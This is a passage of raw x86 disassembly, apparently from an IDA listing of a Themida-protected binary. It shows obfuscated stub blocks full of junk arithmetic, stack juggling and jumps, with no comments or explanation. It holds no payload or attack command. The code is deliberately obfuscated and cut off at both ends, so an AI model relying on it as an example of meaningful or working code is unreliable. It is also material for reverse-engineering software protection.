loc_59BD26:				; CODE XREF: Themida_:005A2F28j
		add	eax, 645014E4h
		add	eax, 166932F1h
		add	eax, edx
		jmp	loc_5A9D46
; ---------------------------------------------------------------------------


loc_59BD37:				; CODE XREF: Themida_:005A3206j
		push	0
		jmp	loc_599D9B
; ---------------------------------------------------------------------------


loc_59BD41:				; CODE XREF: Themida_:005A1035j
		pop	edi
		add	edx, ebx
		push	eax
		mov	eax, 0
		add	eax, edx
		push	ecx
		mov	ecx, 0
		add	ecx, eax
		add	[ecx], esi
		jmp	loc_5A49C7
; ---------------------------------------------------------------------------


loc_59BD5B:				; CODE XREF: Themida_:005AC723j
		mov	[esp], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		mov	eax, 5CF04482h
		jmp	loc_59E3D7
; ---------------------------------------------------------------------------


loc_59BD74:				; CODE XREF: Themida_:005AC321j
		push	1E90h
		jmp	loc_59A1A6
; ---------------------------------------------------------------------------


loc_59BD7E:				; CODE XREF: Themida_:005AE261j
		push	edx
		jmp	loc_5ACEC4
; ---------------------------------------------------------------------------


loc_59BD84:				; CODE XREF: Themida_:0059ECAAj
		pop	esi
		add	esp, 4
		add	esi, 8047B71Ch
		add	ebp, esi
		mov	esi, [esp]
		jmp	loc_5A649C
; ---------------------------------------------------------------------------


loc_59BD98:				; CODE XREF: Themida_:0059D77Cj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5A0B0D
; ---------------------------------------------------------------------------


loc_59BDA1:				; CODE XREF: Themida_:0059CD5Bj
		pop	edi
		sub	ebx, eax
		pop	eax
		jmp	loc_5AEC65
; ---------------------------------------------------------------------------


loc_59BDAA:				; CODE XREF: Themida_:0059B274j
		shl	bh, 5
		jnp	loc_59BE42
		and	bh, 6Ch
		jl	loc_59D109
		shr	bh, 8
		jnp	loc_59E97B
		push	dx
		jmp	loc_5A1C10
; ---------------------------------------------------------------------------


loc_59BDCC:				; CODE XREF: Themida_:005A857Cj
		push	ebp
		mov	ebp, 61EC735Ah
		and	ebp, 4F9E666Fh
		sub	ebp, 0DB6F3E3Dh
		or	edi, ebp
		pop	ebp
		jmp	loc_5AAD4F
; ---------------------------------------------------------------------------


loc_59BDE6:				; CODE XREF: Themida_:0059CAAFj
		push	6439h
		mov	[esp], edx
		jmp	loc_5ADCCE
; ---------------------------------------------------------------------------


loc_59BDF3:				; CODE XREF: Themida_:005AC207j
		sub	eax, 3CA10E9Fh
		jmp	loc_5A726D
; ---------------------------------------------------------------------------


loc_59BDFD:				; CODE XREF: Themida_:005AC86Bj
		pop	edx
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	3B44h
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		test	ecx, eax
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59BE37:				; CODE XREF: Themida_:005A1138j
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_5A0E5B
; ---------------------------------------------------------------------------


loc_59BE42:				; CODE XREF: Themida_:0059BDADj
		and	bh, 6Ch
		jl	loc_5AEE0D
		shr	bh, 8
		jnp	loc_5A1ECA
		jmp	loc_5AC52F
; ---------------------------------------------------------------------------


loc_59BE59:				; CODE XREF: Themida_:005AD878j
		shl	edi, 6
		or	edi, 5192544Bh
		shl	edi, 6
		sub	edi, 9A0FB134h
		add	ebp, edi
		pop	edi
		jmp	loc_5A59F1
; ---------------------------------------------------------------------------


loc_59BE73:				; CODE XREF: Themida_:loc_5AEA43j
		push	ecx
		push	ebp
		jmp	loc_59E58D
; ---------------------------------------------------------------------------


loc_59BE7A:				; CODE XREF: Themida_:0059F2D6j
		pop	esi
		push	ebx
		add	dword ptr [esp], 6E3F76F4h
		pop	edx
		sub	edx, 6E3F76F4h
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	edx
		jmp	loc_59F6A0
; ---------------------------------------------------------------------------


loc_59BE96:				; CODE XREF: Themida_:005A0857j
		mov	[esp], ecx
		jmp	loc_59F21C
; ---------------------------------------------------------------------------


loc_59BE9E:				; CODE XREF: Themida_:0059D3D4j
		pop	esi
		jmp	loc_59FBF3
; ---------------------------------------------------------------------------


loc_59BEA4:				; CODE XREF: Themida_:0059B210j
		push	small 0D00h
		mov	[esp], bx
		mov	bh, 9Ah
		jmp	loc_59B525
; ---------------------------------------------------------------------------


loc_59BEB3:				; CODE XREF: Themida_:005AB224j
		sub	bl, dh
		pop	edx
		push	eax
		push	74B9h
		mov	[esp], edx
		mov	dh, bl
		mov	ah, dh
		pop	edx
		mov	dl, ah
		pop	eax
		pop	ebx
		sub	al, 0C1h
		jmp	loc_5A7F92
; ---------------------------------------------------------------------------


loc_59BECF:				; CODE XREF: Themida_:005ADB10j
		push	1F92h
		mov	[esp], edi
		mov	edi, 47195A3Eh
		xor	edx, edi
		jmp	loc_5A5962
; ---------------------------------------------------------------------------


loc_59BEE3:				; CODE XREF: Themida_:005A7D2Cj
		add	esp, 4
		add	esp, 4
		push	60B1h
		mov	[esp], ebx
		push	edx
		jmp	loc_59B5B2
; ---------------------------------------------------------------------------


loc_59BEFA:				; CODE XREF: Themida_:005A030Dj
		push	eax
		jmp	loc_5A2761
; ---------------------------------------------------------------------------


loc_59BF00:				; CODE XREF: Themida_:0059A16Aj
		js	loc_5A6A98
		xor	edx, 26F662E8h
		sub	edx, 0E75A2484h
		push	ebp
		mov	ebp, edx
		mov	ebx, ebp
		pop	ebp
		jmp	loc_5AF1E0
; ---------------------------------------------------------------------------


loc_59BF1D:				; CODE XREF: Themida_:005AA522j
		pop	edx
		shl	edx, 3
		push	ebp
		push	edx
		push	33265EBh
		pop	edx
		jmp	loc_59FB34
; ---------------------------------------------------------------------------


loc_59BF2E:				; CODE XREF: Themida_:loc_5AB1E7j
		add	edx, 8BFF2E2h
		jmp	loc_5AE464
; ---------------------------------------------------------------------------


loc_59BF39:				; CODE XREF: Themida_:005A9139j
					; Themida_:005ACF66j
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	edi
		jmp	loc_5A476E
; ---------------------------------------------------------------------------


loc_59BF48:				; CODE XREF: Themida_:0059A4FEj
		add	al, dl
		pop	dx
		add	al, 0EBh
		jmp	loc_5AC854
; ---------------------------------------------------------------------------


loc_59BF53:				; CODE XREF: Themida_:005A1F26j
		push	edi
		mov	edi, 7E734C0Ah
		jmp	loc_59D304
; ---------------------------------------------------------------------------


loc_59BF5E:				; CODE XREF: Themida_:005A9717j
		mov	[esp], eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		sub	eax, 57A4625Bh
		add	eax, ebp
		jmp	loc_5A25C8
; ---------------------------------------------------------------------------


loc_59BF75:				; CODE XREF: Themida_:005A382Bj
		push	edi
		mov	edi, 366A0A0Ch
		jmp	loc_5A34E9
; ---------------------------------------------------------------------------
		push	edi
		jmp	loc_5A009E
; ---------------------------------------------------------------------------


loc_59BF86:				; CODE XREF: Themida_:005A4C07j
					; Themida_:005A944Aj ...
		push	ebp
		jmp	loc_5A325F
; ---------------------------------------------------------------------------


loc_59BF8C:				; CODE XREF: Themida_:005A7248j
		mov	[esp], edx
		mov	edx, 717F1299h
		xor	edx, 6F2F1BF3h
		xor	eax, edx
		jmp	loc_5ACC09
; ---------------------------------------------------------------------------


loc_59BFA1:				; CODE XREF: Themida_:005A2687j
		push	1F50h
		jmp	loc_5A885D
; ---------------------------------------------------------------------------


loc_59BFAB:				; CODE XREF: Themida_:0059D34Cj
		mov	esi, edx
		pop	edx
		add	eax, esi
		jmp	loc_5AE29E
; ---------------------------------------------------------------------------


loc_59BFB5:				; CODE XREF: Themida_:005A8C48j
		mov	esi, 62E95381h
		shr	esi, 1
		and	esi, 695E49A1h
		jbe	loc_5A0CDB
		sub	esi, 64450EBCh
		xor	ebp, esi
		jmp	loc_5999BF
; ---------------------------------------------------------------------------


loc_59BFD5:				; CODE XREF: Themida_:00599869j
		sub	ebx, 42430800h
		sub	ebx, 18FE5BE2h
		add	ebx, ebp
		jmp	loc_5A913E
; ---------------------------------------------------------------------------


loc_59BFE8:				; CODE XREF: Themida_:005A9251j
		and	ebx, 106C2BEFh
		jmp	loc_5A66CE
; ---------------------------------------------------------------------------


loc_59BFF3:				; DATA XREF: Themida_:00598860o
		mov	esp, [esp]
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59BFFB:				; CODE XREF: Themida_:005ABEC1j
		neg	eax
		jns	loc_5AD9AB
		shl	eax, 7
		jmp	loc_5A79E2
; ---------------------------------------------------------------------------
		xor	al, 39h
		pop	esp


loc_59C00F:				; CODE XREF: Themida_:005A046Ej
		mov	esp, [esp]
		pop	ecx
		push	42AAh
		mov	[esp], ebp
		mov	ebp, 5A1C1741h
		push	22Bh
		mov	[esp], edi
		push	ebx
		mov	ebx, 10944A66h
		mov	edi, 582F63A7h
		xor	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		shr	ebp, 4
		not	ebp
		xor	ebp, 0E5BC5631h
		sub	ebx, ebp
		pop	ebp
		jmp	loc_59CC73
; ---------------------------------------------------------------------------


loc_59C059:				; CODE XREF: Themida_:005A2E2Dj
		mov	esp, [esp]
		jmp	loc_59E688
; ---------------------------------------------------------------------------


loc_59C061:				; CODE XREF: Themida_:005A2EF7j
		sub	ecx, 5E9BFA7Eh
		add	ebp, ecx
		pop	ecx
		push	esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 23B82AFDh
		neg	ebx
		neg	ebx
		push	ebp
		mov	ebp, 348754A9h
		jmp	loc_59E93F
; ---------------------------------------------------------------------------


loc_59C087:				; CODE XREF: Themida_:005ACD31j
		pop	ebx
		jmp	loc_5AC38E
; ---------------------------------------------------------------------------


loc_59C08D:				; CODE XREF: Themida_:005A1B74j
		push	38DFh
		mov	[esp], ecx
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59C09A:				; CODE XREF: Themida_:0059A28Bj
		shl	ecx, 7
		jmp	loc_5A0B23
; ---------------------------------------------------------------------------


loc_59C0A2:				; CODE XREF: Themida_:005AAC94j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		pop	eax
		sub	dh, 79h
		add	dh, ch
		add	dh, 79h
		jmp	loc_5A7AF1
; ---------------------------------------------------------------------------


loc_59C0BF:				; CODE XREF: Themida_:0059A5B1j
		mov	edi, esp
		sub	esp, 4
		jmp	loc_5AEC34
; ---------------------------------------------------------------------------


loc_59C0C9:				; CODE XREF: Themida_:005AF294j
		mov	ch, 0B5h
		shr	ch, 4
		sub	ch, 5Fh
		add	ah, ch
		pop	ecx
		add	cl, 69h
		add	cl, ah
		sub	cl, 69h
		mov	eax, [esp]
		add	esp, 4
		add	al, 0A3h
		add	al, cl
		push	ebx
		push	ecx
		push	eax
		mov	ah, 0A3h
		mov	cl, ah
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A2CE5
; ---------------------------------------------------------------------------


loc_59C0FB:				; CODE XREF: Themida_:005ACAE5j
		inc	edx
		inc	edx
		sub	edx, 5F0D728Ch
		jmp	loc_59DF73
; ---------------------------------------------------------------------------


loc_59C108:				; CODE XREF: Themida_:005AA133j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_59BA41
; ---------------------------------------------------------------------------


loc_59C11D:				; CODE XREF: Themida_:005ABDF5j
		pop	edx
		jmp	loc_5A8769
; ---------------------------------------------------------------------------


loc_59C123:				; CODE XREF: Themida_:005A9F67j
		push	651h
		mov	[esp], esi
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	ebp
		push	ecx
		jmp	loc_5A6A0A
; ---------------------------------------------------------------------------


loc_59C13D:				; CODE XREF: Themida_:005A2405j
		mov	edi, ebx
		pop	ebx
		add	ecx, 37DB4994h
		jmp	loc_5A0DBA
; ---------------------------------------------------------------------------


loc_59C14B:				; CODE XREF: Themida_:0059B3CFj
		sub	ecx, 51F73E7Ch
		neg	ecx
		add	ecx, 2DFB3EC7h
		shl	ecx, 8
		xor	ecx, 3A0621B0h
		push	3B6Dh
		mov	[esp], eax
		push	277F3A6Eh
		jmp	loc_5A4BBA
; ---------------------------------------------------------------------------


loc_59C174:				; CODE XREF: Themida_:005A8147j
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		push	edx
		push	3C3F10DEh
		jmp	loc_5A7FB2
; ---------------------------------------------------------------------------


loc_59C189:				; CODE XREF: Themida_:0059A953j
					; Themida_:loc_59B3DEj
		pop	edi
		jmp	loc_5A6363
; ---------------------------------------------------------------------------


loc_59C18F:				; CODE XREF: Themida_:005AB5AAj
		or	bl, 95h
		jmp	loc_5A30BB
; ---------------------------------------------------------------------------


loc_59C197:				; CODE XREF: Themida_:005AAC82j
		xchg	ecx, [esp]
		pop	esp
		mov	edx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_5A2147
; ---------------------------------------------------------------------------


loc_59C1A7:				; CODE XREF: Themida_:005ADA93j
		add	eax, ecx
		add	eax, 29820B73h
		push	ebx
		push	esi
		push	7404409Dh
		pop	esi
		jmp	loc_5A928D
; ---------------------------------------------------------------------------


loc_59C1BB:				; CODE XREF: Themida_:0059D688j
		add	esi, 4
		add	esi, 4
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		inc	edi
		jnp	loc_5A5742
		shr	edi, 5
		jnz	loc_5A6A04
		push	ebp
		jmp	loc_59D459
; ---------------------------------------------------------------------------
		mov	ecx, 640E47F2h
		not	ecx
		pop	edi


loc_59C1F6:				; CODE XREF: Themida_:005A09BAj
		sub	ebx, eax
		pop	eax
		add	ebx, edx
		add	ebx, 15EA4D38h
		push	ebp
		mov	ebp, 3AF20E65h
		inc	ebp
		sub	ebp, 0F3B8F549h
		sub	ebx, ebp
		pop	ebp
		pop	edx
		sub	ebx, 2
		xchg	ebx, [esp]
		jmp	loc_59B745
; ---------------------------------------------------------------------------


loc_59C21D:				; CODE XREF: Themida_:0059B4A7j
		push	edx
		jmp	loc_5A73B1
; ---------------------------------------------------------------------------


loc_59C223:				; CODE XREF: Themida_:005AC828j
		sub	eax, 77316277h
		pop	esi
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		xchg	edi, [esp]
		not	edi
		xchg	edi, [esp]
		pop	ecx
		xor	eax, ecx
		xor	ecx, eax
		jmp	loc_599A4E
; ---------------------------------------------------------------------------


loc_59C244:				; CODE XREF: Themida_:005A5B5Aj
		neg	cl
		neg	cl
		jmp	loc_5A8B54
; ---------------------------------------------------------------------------


loc_59C24D:				; CODE XREF: Themida_:005A95B6j
		push	ecx
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59C254:				; CODE XREF: Themida_:005A79F5j
					; Themida_:005AAD55j
		add	esi, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59C274:				; CODE XREF: Themida_:005AA400j
		push	ecx
		mov	ecx, 1DC923AAh
		shr	ecx, 4
		jmp	loc_59F813
; ---------------------------------------------------------------------------


loc_59C282:				; CODE XREF: Themida_:0059AA8Ej
		xor	ebx, 0B369F022h
		mov	ecx, ebx
		pop	ebx
		push	0
		sub	[esp], ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, 0CCD8914Fh
		add	ebp, 42B62F9h
		add	ebp, 686D676Dh
		jmp	loc_5A9189
; ---------------------------------------------------------------------------


loc_59C2B0:				; CODE XREF: Themida_:005A294Cj
		mov	[esp], eax
		push	edi
		mov	edi, 1440FF6h
		inc	edi
		jg	loc_5A497C
		add	edi, 7CB402BAh
		jl	loc_5A0008


loc_59C2CC:				; CODE XREF: Themida_:005A27CAj
		pop	esi
		jmp	loc_59CA67
; ---------------------------------------------------------------------------


loc_59C2D2:				; CODE XREF: Themida_:005AC412j
		mov	[esp], ecx
		jmp	loc_5A520B
; ---------------------------------------------------------------------------


loc_59C2DA:				; CODE XREF: Themida_:005A512Dj
		xchg	ebp, esi
		xor	ebp, eax
		xor	eax, ebp
		xor	ebp, eax
		xchg	eax, ebp
		jmp	loc_5A5186
; ---------------------------------------------------------------------------


loc_59C2E8:				; CODE XREF: Themida_:005A647Ej
		pop	ebp
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		jmp	loc_5AB0AF
; ---------------------------------------------------------------------------


loc_59C2FC:				; CODE XREF: Themida_:005A6F82j
		not	edx
		shr	edx, 5
		xor	edx, 338E1CA5h
		mov	esi, edx
		jmp	loc_5AC9D6
; ---------------------------------------------------------------------------


loc_59C30E:				; CODE XREF: Themida_:005A8646j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_599FDB
; ---------------------------------------------------------------------------


loc_59C317:				; CODE XREF: Themida_:005A4ABAj
					; Themida_:005ADA07j
		xchg	ebp, [esp]
		pop	esp
		xor	bh, al
		mov	ax, [esp]
		add	esp, 2
		jmp	loc_5A5B1D
; ---------------------------------------------------------------------------


loc_59C32C:				; CODE XREF: Themida_:005A2007j
		sub	ebx, 3F892558h
		jmp	loc_5ABC89
; ---------------------------------------------------------------------------


loc_59C337:				; CODE XREF: Themida_:005A42EEj
		pop	bx
		jmp	loc_5AB755
; ---------------------------------------------------------------------------


loc_59C33E:				; CODE XREF: Themida_:0059D1A7j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5AE3DD
; ---------------------------------------------------------------------------


loc_59C351:				; CODE XREF: Themida_:005A2136j
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5A747A
; ---------------------------------------------------------------------------


loc_59C364:				; CODE XREF: Themida_:0059C868j
		push	eax
		push	ebx
		mov	ebx, 525F53BBh
		sub	ebx, 20D867CAh
		and	ebx, 51C06454h
		jno	loc_5AC7B6
		jmp	loc_59E31D
; ---------------------------------------------------------------------------
		mov	ebx, esp
		jmp	loc_5ADCDA
; ---------------------------------------------------------------------------
		imul	cl


loc_59C38B:				; CODE XREF: Themida_:0059F69Bj
		mov	edx, [esp]
		push	ebp
		jmp	loc_59DEA4
; ---------------------------------------------------------------------------


loc_59C394:				; CODE XREF: Themida_:005A1AB0j
		add	eax, ebx
		jmp	loc_59E31D
; ---------------------------------------------------------------------------


loc_59C39B:				; CODE XREF: Themida_:005AAB6Aj
		mov	ch, bl
		jmp	loc_59D71A
; ---------------------------------------------------------------------------


loc_59C3A2:				; CODE XREF: Themida_:0059D312j
		push	ebp
		mov	ebp, 2B965C7Dh
		sub	ebp, 163C3AB0h
		push	239h
		mov	[esp], eax
		mov	eax, 4A216A0h
		sub	eax, 0FFFFFFFFh
		sub	eax, 1B040AE8h
		shl	eax, 6
		add	eax, 0FF3B86F9h
		jmp	loc_5AEAFE
; ---------------------------------------------------------------------------


loc_59C3D2:				; CODE XREF: Themida_:0059A8FDj
		pop	edx
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A328C
; ---------------------------------------------------------------------------


loc_59C3EA:				; CODE XREF: Themida_:005A53C6j
		mov	ebx, 393A7D1Eh
		shl	ebx, 7
		sub	ebx, 0D5C5FC2Fh
		add	edx, 355C4354h
		jmp	loc_5ABF9D
; ---------------------------------------------------------------------------


loc_59C403:				; CODE XREF: Themida_:005AB8E7j
		mov	esp, [esp]
		jmp	loc_5ACC77
; ---------------------------------------------------------------------------


loc_59C40B:				; CODE XREF: Themida_:005ACABBj
		sub	bx, 58D3h
		pop	cx
		add	bx, ax
		push	6C37h
		mov	[esp], ecx
		push	dx
		jmp	loc_5A5D7F
; ---------------------------------------------------------------------------


loc_59C424:				; DATA XREF: Themida_:005986D8o
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_5A1FFD
; ---------------------------------------------------------------------------


loc_59C430:				; CODE XREF: Themida_:0059AB6Cj
		add	ebx, edx
		sub	ebx, 312E4B4Ah
		add	ebx, 6ED40959h
		add	eax, [ebx]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_59DDF3
; ---------------------------------------------------------------------------


loc_59C44B:				; CODE XREF: Themida_:005A8216j
		push	1C13h
		mov	[esp], ebp
		push	eax
		mov	eax, 23F264Fh
		mov	ebp, 5FB4B3A9h
		jmp	loc_5AA613
; ---------------------------------------------------------------------------


loc_59C463:				; CODE XREF: Themida_:005A1EB9j
					; Themida_:005AFB37j
		xor	esi, 703B880Dh
		xor	edx, esi
		pop	esi
		push	edx
		pop	ebx
		pop	edx
		jmp	loc_5A53FE
; ---------------------------------------------------------------------------


loc_59C474:				; CODE XREF: Themida_:005ADEF3j
		mov	[esp], ebx
		mov	ebx, 2
		add	esi, 7BD246CFh
		sub	esi, 69A13E1Eh
		jmp	loc_5AE06E
; ---------------------------------------------------------------------------


loc_59C48D:				; CODE XREF: Themida_:0059F2E4j
		mov	eax, 4
		add	ebp, eax
		jmp	loc_59FA99
; ---------------------------------------------------------------------------


loc_59C499:				; CODE XREF: Themida_:005A6BBCj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		add	esp, 4
		xor	edx, edx
		push	67B2h
		mov	[esp], ebx
		push	0B34h
		mov	[esp], ecx
		mov	ecx, 397E7865h
		add	[esp+4], ecx
		push	dword ptr [esp]
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5A28C9
; ---------------------------------------------------------------------------


loc_59C4E7:				; CODE XREF: Themida_:00599234j
		add	ebp, ebx
		pop	ebx
		mov	edx, [esp]
		jmp	loc_5A28E4
; ---------------------------------------------------------------------------


loc_59C4F2:				; CODE XREF: Themida_:005A25FDj
					; Themida_:005AA85Ej
		mov	ecx, 77AF24F0h
		inc	ecx
		jmp	loc_5AD39C
; ---------------------------------------------------------------------------


loc_59C4FD:				; CODE XREF: Themida_:0059F217j
		mov	ecx, [esp]
		add	esp, 4
		xor	al, dh
		mov	dx, [esp]
		push	1693h
		mov	[esp], ecx
		push	edx
		mov	edx, esp
		jmp	loc_5A42FE
; ---------------------------------------------------------------------------


loc_59C51C:				; CODE XREF: Themida_:0059AE99j
		mov	edx, 11A279A2h
		shr	edx, 5
		xor	edx, 1ED15D2Ch
		inc	edx
		jmp	loc_59C9D8
; ---------------------------------------------------------------------------


loc_59C530:				; CODE XREF: Themida_:005AD1E1j
		sub	esp, 4
		mov	[esp], ecx
		push	1B28h
		mov	[esp], ebx
		mov	ebx, 592A4F0Fh
		mov	ecx, 500D598Eh
		xor	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_59B809
; ---------------------------------------------------------------------------


loc_59C552:				; CODE XREF: Themida_:005A8E22j
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	esi
		push	7263h
		mov	[esp], edi
		mov	edi, 105422AFh
		mov	esi, edi
		jmp	loc_59D0C8
; ---------------------------------------------------------------------------


loc_59C584:				; CODE XREF: Themida_:loc_5993B6j
					; Themida_:005ACBC5j
		mov	edi, 5FC2463Bh
		or	edi, 644936AFh
		not	edi
		sub	edi, 54F2358Ah
		shl	edi, 1
		jmp	loc_5A8D0B
; ---------------------------------------------------------------------------


loc_59C59E:				; CODE XREF: Themida_:0059B937j
					; Themida_:005A6541j
		add	ch, 54h
		jmp	loc_5A3C51
; ---------------------------------------------------------------------------


loc_59C5A6:				; CODE XREF: Themida_:0059A641j
		jmp	loc_5AEF3D
; ---------------------------------------------------------------------------


loc_59C5AB:				; CODE XREF: Themida_:0059C610j
		sub	[esp+4], cx
		pop	cx
		jmp	loc_5AA4E3
; ---------------------------------------------------------------------------


loc_59C5B7:				; CODE XREF: Themida_:005A42C6j
		xor	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A2DF9
; ---------------------------------------------------------------------------


loc_59C5C4:				; CODE XREF: Themida_:005ACDF2j
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5A904A
; ---------------------------------------------------------------------------


loc_59C5D7:				; CODE XREF: Themida_:0059E4BFj
		not	esi
		add	esi, 1
		push	ecx
		mov	ecx, 3AEF0ED5h
		inc	ecx
		shr	ecx, 2
		and	ecx, 390347EDh
		jmp	loc_59FE6B
; ---------------------------------------------------------------------------


loc_59C5F4:				; CODE XREF: Themida_:005ABE3Dj
		dec	esi
		jmp	loc_59ECED
; ---------------------------------------------------------------------------


loc_59C5FA:				; CODE XREF: Themida_:00598EE1j
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp]
		pop	esp
		push	cx
		mov	cx, 3B15h
		jmp	loc_59C5AB
; ---------------------------------------------------------------------------


loc_59C615:				; CODE XREF: Themida_:005A9B52j
		sub	eax, 5FC213D4h
		sub	edi, eax
		jmp	loc_5A36B2
; ---------------------------------------------------------------------------


loc_59C621:				; CODE XREF: Themida_:005AE63Ej
		movzx	cx, ah
		jmp	loc_598D48
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		push	ebp
		push	edi
		jmp	loc_5A0F99
; ---------------------------------------------------------------------------


loc_59C64C:				; CODE XREF: Themida_:005A6F3Dj
		push	esp
		pop	ebp
		push	650h
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_59E650
; ---------------------------------------------------------------------------


loc_59C660:				; CODE XREF: Themida_:005A9DA1j
		add	esp, 4
		mov	ebp, ecx
		pop	ecx
		jmp	loc_5A32AB
; ---------------------------------------------------------------------------


loc_59C66E:				; CODE XREF: Themida_:005AADA7j
		jmp	loc_5989A3
; ---------------------------------------------------------------------------
		lodsd
		push	430h
		jmp	loc_5A3AA7
; ---------------------------------------------------------------------------


loc_59C67E:				; CODE XREF: Themida_:005AB131j
		pop	esi
		jmp	loc_59F3BA
; ---------------------------------------------------------------------------


loc_59C684:				; CODE XREF: Themida_:0059C6A5j
					; Themida_:0059D4CFj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5A32CC
; ---------------------------------------------------------------------------


loc_59C692:				; CODE XREF: Themida_:005AF5D9j
		push	dx
		mov	dl, 0F7h
		add	al, dl
		pop	dx
		jmp	loc_59EF4C
; ---------------------------------------------------------------------------


loc_59C69F:				; CODE XREF: Themida_:005AD932j
		jns	loc_5AB636
		jmp	loc_59C684
; ---------------------------------------------------------------------------
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	ch, 0C4h


loc_59C6B2:				; CODE XREF: Themida_:005A7512j
		inc	ebx
		jmp	loc_59DFDF
; ---------------------------------------------------------------------------


loc_59C6B8:				; CODE XREF: Themida_:0059CF40j
		jmp	loc_5AE764
; ---------------------------------------------------------------------------


loc_59C6BD:				; CODE XREF: Themida_:0059F10Ej
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5AF4A4
; ---------------------------------------------------------------------------


loc_59C6C8:				; CODE XREF: Themida_:005993D4j
					; Themida_:00599F36j
		mov	ecx, esp
		jmp	loc_5ABA64
; ---------------------------------------------------------------------------


loc_59C6CF:				; CODE XREF: Themida_:0059D789j
					; Themida_:loc_59DAB6j
		mov	ebx, [esp]
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		push	small word ptr [eax]
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59C6E7:				; CODE XREF: Themida_:005A86D2j
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		push	edi
		jmp	loc_5AD224
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_5A50D3
; ---------------------------------------------------------------------------


loc_59C70A:				; CODE XREF: Themida_:0059EDD3j
		mov	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_59B4CF
; ---------------------------------------------------------------------------


loc_59C715:				; CODE XREF: Themida_:005AFC91j
		add	ebx, 4C015AEEh
		sub	ebx, esi
		sub	ebx, 4C015AEEh
		jmp	loc_5A550B
; ---------------------------------------------------------------------------


loc_59C728:				; CODE XREF: Themida_:005A40A2j
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ebp, ecx
		jmp	loc_59D054
; ---------------------------------------------------------------------------


loc_59C737:				; CODE XREF: Themida_:005AEB00j
		pop	eax
		jmp	loc_5ADC01
; ---------------------------------------------------------------------------


loc_59C73D:				; CODE XREF: Themida_:0059DF5Aj
		pop	ebp
		jmp	loc_5AFA5D
; ---------------------------------------------------------------------------


loc_59C743:				; CODE XREF: Themida_:0059B733j
		push	3AC1h
		jmp	loc_5AE941
; ---------------------------------------------------------------------------


loc_59C74D:				; CODE XREF: Themida_:005A23BFj
		pop	edi
		xor	ecx, eax
		pop	eax
		jmp	loc_5A56B7
; ---------------------------------------------------------------------------


loc_59C756:				; CODE XREF: Themida_:005A54BAj
		push	ebx
		mov	bh, al
		push	eax
		mov	al, bh
